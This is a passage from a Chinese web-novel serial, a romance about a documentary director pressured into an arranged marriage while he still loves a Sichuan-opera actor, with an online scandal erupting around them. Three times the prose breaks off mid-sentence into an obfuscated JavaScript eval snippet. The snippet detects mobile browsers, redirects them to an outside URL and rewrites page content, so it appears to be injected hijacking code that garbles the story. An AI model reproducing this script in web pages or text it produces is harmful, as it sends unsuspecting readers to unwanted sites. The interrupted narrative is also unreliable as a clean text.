陈声和觉得太阳穴突突直跳。老妈突然杀过来已经够吓人了,居然还把黄嘉雯给捎上了。 “你就说我在补拍镜头,让她们先去酒店安顿……”他话还没说完,片场门口就传来了熟悉的潮汕口音:“老张啊,好久不见,对对,我来看看阿和。” 陈婉琼穿着深色新中式套装就进来了,手腕上那个翡翠镯子晃悠。黄嘉雯跟在她旁边,杏色连衣裙衬得整个人温温柔柔的。 “声和。”她笑着挥挥手,指甲上精心做的珠光一闪一闪的。 “妈。”陈声和硬着头皮走过去,嗓子眼跟吞了块烧红的炭似的,“您来怎么也不提前打声招呼啊?” 陈婉琼笑眯眯地拍了拍黄嘉雯的手背:“知道你忙,正好嘉雯来成都出差,就一块儿来了。”她四下打量着,“这就是你拍戏的地方啊?” 陈声和攥了攥拳头:“咱们先回酒店吧,我这儿正忙着呢。” “不用不用,”陈婉琼直接打断他,“我们随便转转,还没见过正经川剧院什么样呢。” 她转头看向林瑶:“瑶瑶啊,能带我们逛逛不?” 就在这时,化妆间的门开了。李霄川走出来,已经卸了半边妆,左脸还留着武生的胭脂,右脸却苍白得吓人。 他手里还捏着卸妆棉,看见黄嘉雯挽着陈声和胳膊的瞬间,动作一下子停住了。 “这位是?”他嘴角往上挑了挑,露出个似笑非笑的表情,就跟戏台上许仙见到法海时那个笑一模一样。 陈婉琼上前半步,目光在李霄川脸上逡巡:“我们是声和的家人。”她突然眯起眼睛,“你是不是上过央视那个戏曲节目?” “妈!”陈声和声音太急,引得几个工作人员转头。他深吸一口气,“我在工作,你们先回酒店。” 李霄川却轻笑一声,用戏腔念白:“晚生李霄川,见过老夫人。” 陈婉琼身子明显一僵,随即若无其事的笑了起来:“小李也在啊?正好,我们第一次来成都,中午一起吃饭吧。” 陈声和看见李霄川喉结动了动,最后扯出个笑,说了声“好”。 那声“好”的尾音有点抖,跟戏文里唱到高音时快要绷不住的情绪。 因为两个意外访客,今天的拍摄提前结束了。 中午订的川菜馆包厢,本来该是满桌红油鲜辣,结果菜一上来,几乎全换成了清炒时蔬、白灼虾,就只剩一盘油亮的干煸肥肠格格不入。 那是陈声和特意给李霄川点的。 空气里飘着花椒的辛香,却不知怎么混进一缕花茶的清甜。 陈声和盯着面前的青花瓷杯出神,杯底沉着几片舒展开的凤凰单丛茶叶,锯齿状的叶缘和潮汕老宅后山那些野茶树的叶子一样。 李霄川记得他爱喝什么,特意让服务员换的。 可他母亲已经不由分说地推过来一杯熟普,深褐色的茶汤在青瓷杯里晃,沿着杯沿溢出来一点。 “嘉雯在英国读艺术管理,正好能帮阿和打理纪录片海外发行的事。”陈婉琼夹了块夫妻肺片放到黄嘉雯碗里,“他们俩小时候就常一块玩,阿和六岁那年还说以后要娶……” 一声脆响,李霄川的筷子在碗沿磕出个颤音。他垂着眼睫,喉结在修长的脖颈上滚动了一下,像是把什么话生生咽了回去。 陈声和看见他手背上凸起的青筋,这人每次强压情绪的时候都这样。 “小李脸色不太好啊?”陈婉琼舀了碗鸡汤推过去,腕上的翡翠镯子撞在转盘上,“成都湿气重,我们潮汕人最怕这个。阿和他爸特意让我带了老陈皮过来。” “妈,”陈声和打断她,“我们下午还要拍……” “急什么?”陈婉琼从爱马仕包里取出烫金请柬,大红色的封面有点扎眼,“正好,下月初八,到时候在祠堂宣布他和嘉雯的婚事。” 她突然转向李霄川,脸上堆着客套的笑:“小李要是档期合适,也来喝杯喜酒?我们潮汕的四句可比川剧热闹。” 包厢里一下子静得吓人。 陈声和看见李霄川左手攥着餐巾。 “好啊,到时候我一定到。”李霄川的声音出奇地平静,甚至带点笑意接过了喜帖。可他越是这样,陈声和心里越堵得慌。 黄嘉雯伸手扯了扯陈声和的袖口,美甲尖不小心蹭到他腕间那个被功夫茶烫伤的旧疤:“声和,下午我们去逛逛吧?” 陈声和还没开口,林瑶正好推门进来,带进一阵穿堂风:“陈导,制片方的人来了。” “我去结账。”陈声和几乎是弹起来的,椅子在地毯上磨出沉闷的一声。 他撞开包厢门的时候,听见身后李霄川在给黄嘉雯添茶,声音轻得发飘: “黄小姐尝尝这个红糖糍粑,甜的东西……能压住苦味。” 当然没有什么制片方来,是他给林瑶发信息,让她进来替自己解围的。 洗手间里,陈声和对着洗手池干呕,声音在瓷砖墙之间撞来撞去,碎成一地。 他撑着冰凉的大理石台面,一抬头,就看见镜子里的自己……眼睛红得吓人,像唱戏的胭脂没抹对地方,全蹭眼眶上了。 冷水哗哗地冲着手腕,流过那块浅茶色的疤。这里的皮肤好像特别薄,一碰就发凉。 “恭喜啊,陈导。” 熟悉的声音在身后响起,带着些许沙哑的尾音。 陈声和从镜子里看见李霄川靠在门框上。他没化妆,脸在惨白的灯光底下没什么血色,只有嘴唇还留着刚才被辣椒激出来的红,像淡淡抿过一层胭脂。 他今天依旧穿了件黑色高领毛衣,衬得脖颈线条愈发凌厉。 “提前祝你新婚快乐。” 陈声和从镜子里看着他,睫毛上还挂着水珠:“你不该来的。” “是啊,我该像过去这五年一样,”李霄川往前走了一步,身上带着川椒和陈皮的辛辣气,“继续装不认识你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005892|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的目光扫过陈声和发红的眼角:“陈导现在多厉害啊,拍非遗,拍传统文化,就是不敢拍真正的你自己。” 手突然按上陈声和的后颈,拇指不偏不倚,压住那颗淡褐色的小痣。大学那会儿,每次抱他,李霄川就爱亲这儿。 “陈声和,”他的声音沙哑,像把刀在慢慢割着神经,麻药都不愿施舍一滴,“你知道怎么在我身上插刀才最痛。” 他弯下腰,眼睛死死盯着这张在梦里见过无数遍的脸。眼眶也红了,声音跟着发涩:“嗯?就这么恨我?” 说完,他没等回答,直起身退了几步,皮鞋跟敲在地砖上,一声一声特别清楚。走到门口,他忽然回头,嘴角一挑,像个排练好的舞台笑。 “婚礼我就不去了,那就……” “那就……祝陈导早生贵子,儿孙满堂。” “愿你……夫妻恩爱,阖、家、欢、乐。” “咔哒”一声轻响,门合上了。 世界一下子静得可怕。 陈声和像被抽了骨头,背贴着冰冷的洗手台,猛地滑坐到地上。 那几句话像电钻上沾了辣椒,顺着耳朵往里钻,扎进心里,再跟着心跳一下一下往血管里跑,又密又疼。 他死死咬住手背,不让自己出声。牙印陷进肉里,留下弯弯的红痕,像大三那年躲在祠堂后巷哭的时候一样。 那时候他也这样咬着手指,怕被路过的族老发现陈家独子的狼狈。 兜兜转转,他还是那个被困住的陈声和。 李霄川祝他新婚快乐…… 祝他早生贵子…… 祝他儿孙满堂…… 祝他……夫妻恩爱…… 每一个字,都是一记响亮的耳光,打碎了他所有的伪装,也打醒了他们之间那早已千疮百孔,却仍被他们偷偷珍藏的过去。 …… 回到片场的时候,陈婉琼正拉着黄嘉雯在川剧道具箱前面摆姿势拍照。 李霄川在帮她们调整头饰,修长的手指灵活地翻着珠花,像个尽职的化妆师。 阳光从棚顶的玻璃窗斜斜地照进来,落在他身上,衬得他整个人挺拔又干净。刚才在洗手间里那场对峙,好像从来就没发生过。 “阿和你看看,”陈婉琼举起手机,“嘉雯戴这个多好看!等你们结婚的时候,也订一顶这样的。” “妈!”陈声和的声音猛地拔高,又硬又冷。 一瞬间,整个片场都静了下来。旁边举反光板的工作人员被他吓了一跳,手都抖了一下。 林瑶反应快,立刻挽住黄嘉雯:“黄小姐,要不要试试那套水袖?我带您去……” 等她们走远了,陈婉琼脸一沉,精心画好的眉毛拧成了一条线:“你还要任性到什么时候?你可从没跟我说,是专门来拍这个戏子的!” “这是我的工作。”陈声和攥紧监控器的支架,金属的凉意从掌心渗进来。 “工作工作,你就知道工作!”陈婉琼压着嗓子,“你知道老家那边都怎么说?说陈家独子跟他爸一个样,这辈子都生不出孩子,一天到晚就知道拍那些戏子……” “他不是戏子!”陈声和突然吼了出来,声音大得惊飞了屋檐下的麻雀。 远处正在调光的场务全都回头看过来。 他在那些探究的目光里挺直背,一字一句地说:“李霄川,是国家一级演员,是上了国家名录的非遗传承人,他是活着的川剧历史。” 52.一定要走这条路吗 陈婉琼的巴掌还没甩下来,李霄川已经从布景的阴影里走了出来。他手里拿着陈婉琼落下的爱马仕真丝披肩,橙色的布料垂下来,像一道温柔的瀑布。 “阿姨,您手机响了好几遍了。” 陈婉琼接过手机看了眼来电显示,脸色一下子变了:“你爸的检查报告出来了……我得马上回潮汕。” 她匆匆在化妆台的便签纸上写下酒店地址,指甲在上面划出深深的印子:“嘉雯就交给你了。” 走了几步,她又停下来,回头在两人身上扫了一圈,最后盯住自己儿子。 “别忘了你答应我们的事,年底必须结婚!” 高跟鞋敲在水泥地上的声音越来越远。 望着母亲走远的背影,陈声和忽然想起大三那年,父亲第一次心梗住院时打来的那通电话。 那天医院走廊里的消毒水味,和此刻片场的油漆味混在一起。 电话那头传来的怒吼,到现在还在他耳边响:“你是不是非要把全家逼死才甘心?” 雨才晴了半天,又不管不顾地下了起来。也不知道是受了什么刺激,还是专程来给这对苦命鸳鸯当背景板。 细细密密的雨丝斜打进片场的水泥地,溅起一片湿漉漉的小水花。 屋檐底下那点火星一明一暗。李霄川叼着烟,仰头看雨,侧脸在烟雾里朦朦胧胧的,看不真切。 陈声和站在几米外的遮阳棚下面,看着他被雨水打湿的鬓角,忽然想起他们第一次接吻之后的那个早晨。 也是这样的角度。阳光穿过李霄川微微颤动的睫毛,那时候他刚抽完烟,嘴里还留着薄荷爆珠那凉丝丝的味道。 陈声和说了句“戒烟吧”,李霄川就真的再没碰过。 直到分手那天,才重新点起了第一支。 “声和。” 黄嘉雯的声音突然插进来,打断了他的走神。她提着过长的戏服下摆,小心翼翼地走过来,绣着金线的衣角拖在湿漉漉的地面上。 林瑶跟在她身后,手忙脚乱地整理被她踩到的水袖。 “能跟我拍张照吗?”她举起手机,屏幕还停留在自拍模式的滤镜界面。 就在这个时候,李霄川掐灭了烟头。他转身走进雨里,衣服很快被雨水浸透,湿漉漉地贴在背上,隐约勾勒出肩胛骨的形状。 陈声和不受控制往前迈了半步,又硬生生停住。他看见李霄川抬手抹了把脸,分不清抹去的是雨水,还是别的什么。 远处传来场务收拾器材的碰撞声,有人扯着嗓子喊要不要盖防水布。 雨,下得更大了。 …… 潮汕人信神,信得虔诚,信得固执。 那庙堂里缭绕不散的香火,仿佛早已浸透了陈声和的每一寸骨缝。 信到陈声和都开始怀疑,到底是神在保佑他们,还是用香火捆住了他们的魂。 此刻他站在酒店落地窗前,看着成都的夜色,手指缠着腕上的红绳,依旧没有得出一个确切的答案。 手机在茶几上震动,嗡嗡声在安静的房间里异常清晰。 陈声和没急着转身,数到第十下时才慢慢走回沙发旁。屏幕上阿妈两个字跳得他太阳穴发胀。 自从三天前那顿饭后,这个号码每天准时在晚上九点出现,比潮汕老家的报时钟还准。 “声和?”电话接通的瞬间,母亲的声音裹着熟悉的潮汕口音传来,“做呢咁久正接?”(怎么这么久才接) 陈声和把手机拿远了些,指节抵着眉心:“刚才在洗手间。” “又在熬夜剪片?”母亲的声音突然放软,“你从小就身子弱,别总喝咖啡……” 他盯着茶几上凉透的工夫茶杯,杯底还沉着几片单枞茶叶。李霄川前天来讨论拍摄时泡的,走前还特意嘱咐他别喝隔夜茶。 “……声和?有没有在听?” “在听。”他回过神来,喉结动了动,“您说。” “嘉雯今天从深圳回来了,带了好多手信。”母亲的话锋转得突然,“她妈妈说年底是好日子,你们可以直接订婚……” 陈声和的手指突然痉挛了一下,碰翻了茶杯,褐色的茶渍在酒店雪白的桌布上晕开。 “妈,”他听见自己的声音飘在酒店空旷的房间里,“纪录片还没杀青,我……” “你都快二十七了!”母亲突然拔高的声音刺得他耳膜生疼,“嘉雯英国留学回来,家里四间珠宝行,你还要挑什么?难道真要学那些香港电视剧,等到四十岁才结婚?” 窗外的雨势开始加剧,这两天几乎没有出过太阳,豆大的雨点砸在玻璃上,像无数细小的手指在叩问。 陈声和盯着蜿蜒而下的雨痕,恍惚间耳边响起李霄川带着笑意的声音:“成都的雨啊,跟川剧变脸一个德行,说哭就哭,拦都拦不住。” 记忆中的雨总是温热的。那时李霄川总爱把伞往他这边倾斜,一只手牢牢圈住他的手腕,掌心的温度透过皮肤烫进血管。 “你是不是……”母亲的声音突然压低,带着祠堂里那种令人窒息的压迫感,“还在想那个唱戏的乱来?” 陈声和的呼吸滞住了。他盯着窗玻璃上自己的倒影,雨水在窗外蜿蜒而下,把他的脸割裂成模糊的碎片。 “妈……”他声音轻得像一缕烟,“一定要走这条路吗?” 电话那头传来茶盏重重磕在桌上的声响。 “那你想怎样?”母亲每个字都像祠堂里的族规刻在石板上,“和一个男人厮混?让你爸在族人面前抬不起头?让陈家绝后?” 陈声和看着雨水在玻璃上汇成细流,想起离开成都那天也是这样的雨。 李霄川跟到了机场,把一张脸谱塞给他,上面油彩弄花了,他掌心留下了淡淡的蓝色,就像泪痕一样。 “……好。”他听见自己说,“您安排吧。” 挂掉电话后,陈声和慢慢蹲下来,捡起地上那片湿透的茶叶。 手指传来细微的刺痛,李霄川前天临走前说的:“这茶叫浪菜,苦后回甘,就像……” 就像什么,他终究没能说完 他盯着手机屏幕,手指悬在相册图标上方停顿了顿,最终还是点了进去。 加密文件夹的密码是他惯用的那组数字,解锁后,最新一张照片是聚餐那天拍的。 火锅店的暖黄灯光下,蒸腾的雾气模糊了李霄川的轮廓,只有眼角那颗浅褐色的泪痣依然清晰,仿佛刻意要在他记忆里烙下印记。 陈声和的拇指摩挲着屏幕,手指传来的冰凉触感让他恍惚间分不清是手机的温度还是自己的体温。 等反应过来时,泪水已经模糊了视线,水珠砸在屏幕上,正好落在照片中李霄川的泪痣位置。 突如其来的敲门声吓得他手一抖,手机差点滑落。他条件反射地锁屏,手背胡乱抹了把脸,深呼吸两次才找回自己的声音。 “谁?” “导演?”林瑶的声音隔着门板传来,“您睡了吗?” “进来。” 林瑶抱着笔记本电脑站在门口,脸色不太好看:“陈导,您还没休息吧?刚接到非遗文化节主办方的电话,要求我们补拍一段川剧后台的花絮素材,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005893|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”她犹豫了一下,“明天就要交。” 陈声和皱眉,手指敲了敲桌面:“上周不是已经拍过后台素材了吗?” “他们说……”林瑶咬了咬下唇,“说之前的镜头太官方了,想要更真实地记录。特别强调了要拍到李老师卸妆的全过程。” 陈声和的手指突然停住了。 李霄川从来不让拍他卸妆的镜头。 那时候两人挤在琴房的小沙发上,李霄川曾说过:“脸谱是给观众看的戏,卸妆是留给自己的人。戏可以千变万化,人只能有一副真心。” 当时说这话时,李霄川的手指正轻轻描摹着他的眉骨,眼神认真得让他心跳加速。 “推了。”陈声和起身去接水,嗓子有点发紧,“就说我们排期满了,实在挤不出时间。” 林瑶没动。她低头盯着自己的鞋尖,声音快要听不见:“可是主办方说了……要是我们不补拍,他们就换团队接手。” 陈声和的动作顿在半空中。 这个川剧专题,他前前后后准备了半年,也是好不容易从华央争取来的机会。去年那部非遗纪录片刚拿了亚洲纪录片奖,要是这个项目能顺利做完,明年说不定就能冲国际展映了。 而李霄川…… 他想起三天前,在川剧院门口分开的时候。李霄川转身走进雨里,肩膀绷得紧紧的,像他演过的武生。 就算戏服底下伤口还渗着血,也得把最后一场戏演完。 “联系李老师吧。”最后他听见自己说,嗓子哑得像是很久没说过话。 电话接通时,那头传来剧团里熟悉的嘈杂声,闷闷的锣鼓响、演员吊嗓子的咿呀声,还有道具搬来搬去的碰撞声。 在这些声音的缝隙里,李霄川的嗓音传了过来:“喂?” 那语调里带着他熟悉的随意,却又伴随着点儿他没听过的倦意。 陈声和几乎能想象他现在的样子:一定又是斜靠在后台那个掉漆的红沙发上,指间夹着根没点的烟,眉头微微蹙着,藏不住累。 “是我。”陈声和顿了一下,又补了一句,“陈声和。” 电话那头安静了一瞬。 “嗯。”李霄川轻轻笑了一下,笑得陈声和耳根发烫,“我存了你号码。” 陈声和喉咙动了动,突然不知道该说什么。这是他们重逢之后第一次私下通电话,居然是为了公事。 “有事?”李霄川把他从走神里拽了回来。 “主办方要求补拍一段后台花絮。”陈声和尽量让声音保持平稳,“包括……你卸妆的过程。” 电话那头传来金属打火机“咔哒”开盖的声响。 “你答应了?”李霄川问得很轻,轻得快要被背景音盖过去。 陈声和攥紧了手机:“如果你不愿意,我可以推掉。” “然后呢?”李霄川的声音忽然冷了下来,“让你的团队白跑一趟?让你的项目黄掉?让你再欠我一个人情?” 陈声和望着窗玻璃上蜿蜒的水痕,忽然想起大二期末,他发高烧错过了一次重要的拍摄作业。 是李霄川连夜扛着摄像机,替他拍完了川剧社整场演出。第二天,李霄川因为私借社团设备被通报罚款,而他拿到了那门课唯一的A+。 “……我不会逼你。”陈声和最后说道。 电话那头传来一声长长的呼气,接着是打火机合盖的轻响。 “明天下午三点。”李霄川语气平淡,“剧团后台,过时不候。” 没等陈声和回应,电话已经挂断了,忙音在安静的房间里显得异常清晰。 53.说我陪睡?说我同性恋? 凌晨两点多,陈声和还在临时剪辑室里跟片子死磕。 屏幕上李霄川正在表演变脸,红衣一甩一张新面孔,跟翻书似的。 最后定格在那张他再熟悉不过的脸上,下颌线比五年前更硬朗了,可眼角眉梢还是老样子,那颗泪痣在灯光下依稀可见的。 陈声和的手指头悬在空格键上,半天没按下去。 “导演?”林瑶推门进来,手里端着冒热气的咖啡,“您这又是要熬通宵啊?” 他迅速切回时间线界面,屏幕蓝光映在镜片上:“马上就好。” 咖啡杯在桌上磕出轻响。林瑶欲言又止地看了眼屏幕上定格的李霄川,终于还是开口:“李老师那边……真的没问题吗?” 陈声和正在调整音频轨的手顿了顿。 李霄川的声音又在他耳边炸开,像在神经上来回磨:“陈声和,你永远学不会为自己活一次。” “没事。”他摘下眼镜揉了揉鼻梁,“拍完最后一场就走。” 林瑶张了张嘴,想提醒他答应李老师的那部戏还没拍呢……可看着导演那两个黑眼圈,最后还是轻轻把门带上了。 这雨从半夜开始下,到天亮都没消停。 陈声和没睡几个钟头,又被手机震醒了。睁开发涩的眼睛,锁屏上堆了十几条未读消息。 手指刚碰到冰凉的手机,林瑶的电话就跳了进来。 “导演!”她的声音带着罕见的慌乱,“出事了!” 陈声和猛地撑起身子,一阵眩晕袭来。他这才发现被子已经被汗浸湿了一片,额头的热度还没退干净。 “怎么回事?” “您……您自己看微博吧。” 他疑惑地点开热搜,第三条明晃晃挂着:#川剧小生夜会男导演# 照片拍得模模糊糊的:川剧院门口,李霄川半搂着他,低头凑得特别近,看着就过分亲昵。 这角度选得特别刁钻,明明就是普通搀扶,硬是被拍出了耳鬓厮磨的效果。 更要命的是他那会儿正发高烧,整个人软绵绵地挂在李霄川身上,脸上红得都不正常。 评论区已经炸开锅了: 【我靠?李霄川不是天天标榜传统文化吗】 【传统人设崩得够彻底的啊】 【这导演是不是之前拍非遗纪录片那个】 【早就听说川剧团内部乱,果然……】 陈声和的手指头止不住地往下滑。 这是上次他发高烧晕倒那次的画面。他记得很清楚,当时因为突然晕倒,陈瑶还在打救护车,李霄川抱着他跑出来。 林瑶明明就站在另一边扶着他,可这张照片偏偏截去了所有能证明清白的部分。 “公关部已经拟好声明了。”林瑶的声音将他拉回现实,“说是您工作期间生病,李老师只是出于同事关系帮忙送您回酒店……” 陈声和打断他:“联系李老师了吗?” “他电话一直占线。”林瑶犹豫了一下,“但剧团那边……好像已经炸了。” 陈声和掀开被子下床,双腿却像灌了铅似的发软。 膝盖撞在地毯上发出一声闷响,他这才意识到,从母亲离开后持续的高烧,已经快把他掏空了。 …… 凌晨4点40分,川剧团的会议室里的空气中飘着隔夜茶水的涩味。烟灰缸里堆满的烟蒂无声诉说着这场会议的漫长。 李霄川仰靠在掉皮的办公椅上,手机屏幕上躺着#川剧名角夜会男导演#的热搜词条下,那张他被偷拍扶着陈声和上车的照片已经被转发了上万次。 团长张维的皮鞋声在屋里咯噔咯噔响,来回踱步,每一步都踩得人心烦。 “华央的专场演出就剩三周了!”张维突然抓起桌上那叠审批文件狠狠一摔,纸页哗啦啦飞了一地,“你知道多少人盯着这块肥肉吗?” 李霄川没吭声,眼睛盯着天花板裂缝里慢慢爬的一只小蜘蛛,喉结轻轻滚了滚。 “现在全网都在传你跟那导演那点破事儿!”张维一巴掌拍在实木桌上,震得旁边同事的保温杯都翻了,枸杞撒得到处都是,“你倒是说句话啊!” “说什么?”李霄川抬眼,嗓子哑得不像话,“说照片是P的?说陈声和那天烧到39度,路都走不稳?” 张维一下子被噎住了,脸涨得通红:“那你怎么不叫救护车?非得自己送?” 李霄川用手指关节敲了敲手机屏幕上的天气预报:“那天红色暴雨预警,滴滴排队两百多号。”他目光扫向角落里几个正在刷微博的年轻演员,“要不你问问小刘?那天他也在场。” 被点到名的小实习生手忙脚乱地锁屏,手机壳上挂着的熊猫玩偶晃来晃去。 “现在谁还管真相是什么?”张维扯松了领带,手里省文化厅那份文件被他捏得哗哗响,“光是今天,咱们剧团官微就掉了多少粉,你心里没数吗?” 会议室突然静得吓人,只能听见茶水间水龙头没关紧,滴答滴答的。 徐爷摸着茶杯上的裂痕,欲言又止。几个年轻女演员眼睛红红的,睫毛膏在眼下晕开淡淡的黑影。 “因为我是他校友。”李霄川最后吐出这么一句,“就是顺手帮个忙。” 张维气得直接把钢笔往桌上一摔,笔咕噜噜滚到了地上:“你知不知道‘顺手’这两个字,能把你的事业全毁了?那些营销号怎么写你的,你看不见吗?” “说我搞同性恋?”李霄川烦躁地点了根烟,揉了揉太阳穴,“还是说我陪睡?” 他话音刚落,门轴吱呀一声响了。 “现在的记者啊,”拐杖点地的声音不紧不慢地传过来,“还分得清什么是戏,什么是人么?” 宋老师裹着厚外套站在门口,头发梢还沾着夜里的露水。老人慢悠悠走到饮水机前接水,保温杯里飘出陈皮老白茶的香味。 张维立刻收敛了怒气:“宋老,您怎么来了……” “张团长。”宋老吹开浮沫,“上个月省台采访,你说咱们团要创新要年轻化。”他枯枝一样的手指突然指向墙上挂着的白蛇传剧照,“现在年轻人真来了,怎么又怕了?” 张维的西装袖口蹭到了未干的茶渍:“宋老,主要是华央那边……” “华央要的是能翻三十六个旋子的武生。”宋老师慢悠悠的喝了口茶,“李霄川十六岁就能唱全本《白蛇传》,你们舍不得换他,就别在这儿演戏。” 李霄川握紧拳头,指甲深深掐进掌心。 副团长在一边叹了口气,语气软了下来:“霄川,真不是我们在这儿装老古板……你也清楚,咱们这行最讲究个形象。你跟一个男导演闹出这种传闻,万一舆论收不住,华央那边恐怕……” 话没说完,但意思谁都懂,他的角色可能要换人。 “行啊。”李霄川抬起头,眼神冷得吓人,“换人就换人。” 整个会议室的人都愣住了。 “反正……”他站起身,一字一顿地说,“我唱戏,不是为了讨好谁。” 说完转身就走。 身后传来张维的咆哮:“李霄川!你今天敢走出这个门,就别想再回来!” 李霄川的脚步连顿都没顿一下,皮鞋跟敲在大理石地上,一声声干脆利落。 消防门在身后哐当一声关上,把会议室的吵闹彻底隔绝。 凌晨的后巷又潮又暗,还掺加着霉味。他靠在掉皮的砖墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005894|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上点了根烟,打火机的火苗在风里直晃,照见他指缝里还没洗干净的油彩。 手机屏幕突然在黑暗里亮起来,微信好友申请弹了出来: 陈声和:【声明我已经发了,不会影响你演出,别自己发声,交给专业团队来处理】 烟灰簌簌地往下掉,落在裂开的水泥缝里。他盯着那条消息看了好久,大拇指悬在键盘上,最后还是点了同意。 对话框顶上的“对方正在输入…”闪了又停,他删掉已经打好的“不用管我,你先顾好自己”,重新打了几个字: 【下午三点,别迟到】 刚按下发送,张维的电话就追了过来。 听筒那头的噪音里,团长的声音带着精疲力尽的妥协:“霄川……官微那条声明,你去转一下,就当走个过场,给上面一个台阶下。” 李霄川看着巷口那只翻找垃圾的流浪猫,沉默了足足一分钟,然后挂断电话,熟练地点开微博。 转发,选择,确认。 【清者自清】 四个字被他用手指划过去,像拂开一粒灰尘。 几乎在他按下发送键的同时,巷子口传来流浪猫打翻易拉罐的哐当声。 …… 另一边,陈声和正跟公关团队在酒店会议室里焦头烂额。 “导演,李老师回复了。”林瑶把平板推过来,钢化膜上还沾着指纹。 屏幕上,正是那条刚刚转发的剧团声明。 一看就是剧团代发的。 评论区已经炸了。 一条热评被顶到第三位:【川大校园网就有他的黑历史,李霄川当年就被爆过同性绯闻,闹得可大了……】 陈声和太阳穴突突直跳。 那一年的事他虽没亲身经历,却听学姐杨知夏提起过,因为拒绝纠缠被报复,所谓的“前男友”在校内论坛发帖,污蔑李霄川“玩弄感情致人自杀”。 陈声和盯着发亮的屏幕,眼前一阵发黑。高烧让视线模糊,但他不敢停下,公关部那份不痛不痒的声明,根本压不住愈演愈烈的舆论。 他必须做点什么。 “导演,您该休息了……”林瑶担忧地递来热水。 陈声和摇头,手指在键盘上敲打:“把备用硬盘给我。” 他调出了五年来的所有素材:李霄川的练功录像、演出花絮、幕后采访……全是这五年间,他偷偷收集的资料。 每一帧,都是李霄川对舞台的执着。 这才是真相。 不是八卦媒体臆测的桃色绯闻,而是一个演员对传统的坚守。 陈声和咬紧牙关,开始剪辑。 “导演?”林瑶小声提醒,“您脸色真的很差,要不我来吧?” 陈声和摇摇头,强迫自己集中精力:“联系主办方,问今天的拍摄是否照常。” 林瑶欲言又止地看着他通红的眼眶,最终叹了一口气出去打电话,会议室里只剩下他一个人。 天快亮时,他终于撑不住,趴在键盘上昏睡过去。 朦胧中有药酒的气息靠近。有人轻轻托起他汗湿的后颈,将冰镇的矿泉水瓶贴在他滚烫的脸颊。 那人的拇指擦过他眉骨时,粗粝的指腹带着常年练功留下的茧。 “……傻幺儿。” 这个声音曾在无数个梦境里出现。陈声和挣扎着想抬头,却只碰到对方棉质体恤。 恍惚间听见咔嗒一声,自己的笔记本电脑被合上,然后是手指敲击键盘的声响。 “你电脑密码……还是我生日?” 带着笑意的叹息消散在空调出风口的嗡鸣里。陈声和彻底陷入黑暗前,最后看见的是对方袖口沾染的一抹胭脂红。 54.同性恋不配传播传统文化? 次日上午,陈声和醒来第一件事就是登录微博,然而却看到了他意想不到的事情。 微博推送一条接一条地弹出来,他点开最上方那条,瞬间清醒。 @嘉雯的旅行日记,发布了一条长微博,标题赫然写着【澄清声明】 【作为当事人(陈声和)未婚妻,我必须澄清:陈声和与我已订婚半年,双方父母早在潮汕摆过订婚宴(附图1:潮汕传统掼油礼俗现场)。 半月前我们与李老师聚餐,正是为了商讨婚礼上的川剧表演环节(附图2:成都银滩鲍鱼火锅合影,李老师贴心为我们调配蘸料)。 某些恶意揣测不仅伤害了两位优秀的文化工作者,更对我们的家庭造成困扰。已联系律师取证,网络并非法外之地】 配图第一张是潮汕老宅的祠堂前,红绸高挂,香烛袅袅。 陈婉琼正笑着为黄嘉雯系上四色金红线,而黄嘉雯手腕上露出的红绳,和陈声和腕间那条一模一样。 那红绳是他母亲年初硬塞给他的,说是保平安。 第二张是火锅店的合影。 照片里,黄嘉雯笑容温婉地挨着他,而李霄川站在两人身后半步,右手举着调料碗,左手扶着椅背。 最后一张是聊天记录截图,马赛克遮掉了部分信息,但能清晰地看到黄嘉雯发给李霄川的潮汕婚俗资料,以及李霄川的回复:“许仙扮相更适合厅堂戏。” 这条微博刚发布不久,转发区已经出现了熟悉的身影: @非遗保护王老师:作为当天聚餐见证者,三位一直在讨论如何将英歌舞融入川剧锣鼓点。 @潮汕商会林XX:黄小姐父亲是潮汕商会副会长,与陈家三代世交,还附去年商会年会合影。 @川剧化妆师蕾蕾甚至补了一张照片:谢谢黄小姐为我们李老师证实清白,顺便附图一张,黄小姐和陈导真的天生一对! 照片里,黄嘉雯和陈声和站在川剧院后台,灯光柔和,看起来确实般配。 陈声和的手机从指间滑落,砸在地毯上,发出一声闷响。 他慢慢蜷缩起来,额头抵在枕头上,双手死死攥住床单。腕间的红绳勒进皮肉,在苍白的皮肤上压出一道红痕。 这些照片怎么来的他都不清楚,只有那年那杯所谓的定亲茶是真的,其余的……他这个当事人却一概不知。 枕头渐渐晕开一片深色水痕。陈声和咬住下唇,直到尝到铁锈味,才发现自己又在哭。 他和李霄川……又到了一个死局胡同,出不来了。 …… 